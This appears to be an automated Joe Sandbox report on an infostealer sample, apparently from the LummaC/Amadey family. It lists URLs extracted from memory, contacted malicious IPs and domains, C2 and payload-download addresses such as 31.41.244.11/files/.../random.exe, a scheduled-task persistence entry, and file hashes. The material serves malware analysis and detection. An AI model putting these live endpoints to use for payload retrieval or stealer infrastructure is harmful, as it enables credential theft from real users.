https://lossekniyyt.click:443/apihv.default-release/key4.dbPK	915c60055b.exe, 00000008.00000002.3039038639.0000000001212000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.ecosia.org/newtab/	e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lv.queniujq.cn	f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com/	f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	false	high
https://deafeninggeh.biz:443/api	f3c1a61157.exe, 0000000C.00000003.3145200200.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://httpbin.org/ipbefore	cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000010.00000002.3207165275.0000000005376000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://specs.openid.net/extensions/oauth/1.0	915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	false	unknown
https://checkout.steampowered.com/	f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	false	high
http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h	915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	false	unknown
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	false	high
http://openid.net/sreg/1.04http://openid.net/sreg/1.1	915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	false	high
https://awake-weaves.cyou/apiEO	f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://html4/loose.dtd	cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://lossekniyyt.click:443/apitPK	915c60055b.exe, 00000008.00000002.3039038639.0000000001212000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/&	f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://help.steampowered.com/en/	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu	915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	false	high
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	false	unknown
https://docs.rs/getrandom#nodejs-es-module-support	e0c841723d.exe.6.dr	false	high
https://lossekniyyt.click/	915c60055b.exe, 00000008.00000002.3039953268.00000000012AB000.00000004.00000020.00020000.00000000.sdmp, 915c60055b.exe, 00000008.00000002.3039886688.000000000129D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://debonairnukk.xyz:443/api	f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.43/Zu7JuNko/index.phpG	skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://.css	cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://recaptcha.net/recaptcha/;	f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sordid-snaked.cyou/	f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=Q6Qn	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://broadcast.st.dl.eccdnx.com	f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/x3team/random.exeg	skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/workshop/	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://login.steampowered.com/	f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/legal/	f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://.jpg	cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://wrathful-jammy.cyou/pi/O	f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://namespace.google.com/openid/xmlns	915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://debonairnukk.xyz/api7	f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.121.15.192	home.fivetk5ht.top	Spain	207046	REDSERVICIOES	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
172.67.180.113	treehoneyi.click	United States	13335	CLOUDFLARENETUS	false
45.77.249.79	immureprech.biz	United States	20473	AS-CHOOPAUS	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
104.21.12.88	lossekniyyt.click	United States	13335	CLOUDFLARENETUS	false
178.62.201.34	deafeninggeh.biz	European Union	14061	DIGITALOCEAN-ASNUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578795
Start date and time:	2024-12-20 13:10:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/26@21/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:12:01	API Interceptor	1050x Sleep call for process: skotes.exe modified
07:12:15	API Interceptor	8x Sleep call for process: 915c60055b.exe modified
07:12:39	API Interceptor	7x Sleep call for process: f3c1a61157.exe modified
07:12:50	API Interceptor	5x Sleep call for process: e0c841723d.exe modified
07:12:50	API Interceptor	23x Sleep call for process: powershell.exe modified
07:12:58	API Interceptor	9x Sleep call for process: cf4412d54a.exe modified
13:10:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
98.85.100.80	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	SwJD3kiOwV.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	8dw8GAvqmM.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	9nYVfFos77.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	L1SrJoDQvG.exe	Get hash	malicious	Unknown	Browse
	ovQrwYAhbq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lossekniyyt.click	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.12.88
treehoneyi.click	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.180.113
github.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.112.3
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	140.82.121.4
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	20.233.83.145
	https://github.com/starise/win11-virtual-desktop-extension/releases/download/1.1.0/VirtualDesktopExtension-1.1.0.msi	Get hash	malicious	Unknown	Browse	20.233.83.145
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	20.233.83.145
steamcommunity.com	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	qth5kdee.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	LgendPremium.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	f86nrrc6.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TWC-11351-NORTHEASTUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	98.85.100.80
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	67.252.15.48
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	98.94.131.188
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	98.85.100.80
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	50.75.56.140
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	98.85.100.80
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	74.67.214.105
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.95.238.17
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	98.85.100.80
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.64
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43
REDSERVICIOES	http://blacksaltys.com	Get hash	malicious	Unknown	Browse	185.121.15.137
	IGz.arm7.elf	Get hash	malicious	Mirai	Browse	185.189.98.142
	https://agradeahead.com/	Get hash	malicious	Unknown	Browse	185.121.15.137
	http://productfocus.com	Get hash	malicious	Unknown	Browse	185.121.15.137
	https://objmapper.com/CtmE0s2ZteC8BuQLNprxjCPB8gAgAcIi7niu-9oX3Q2e	Get hash	malicious	Unknown	Browse	185.121.15.137
	hax.mips.elf	Get hash	malicious	Mirai	Browse	185.226.106.144
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	178.19.44.184
	sora.arm.elf	Get hash	malicious	Mirai	Browse	185.226.106.195
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	185.194.30.238
	https://objmapper.com	Get hash	malicious	Unknown	Browse	185.121.15.90

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	hubus.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	23.55.153.106 104.21.12.88 178.62.201.34 172.67.180.113 45.77.249.79

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\915c60055b.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
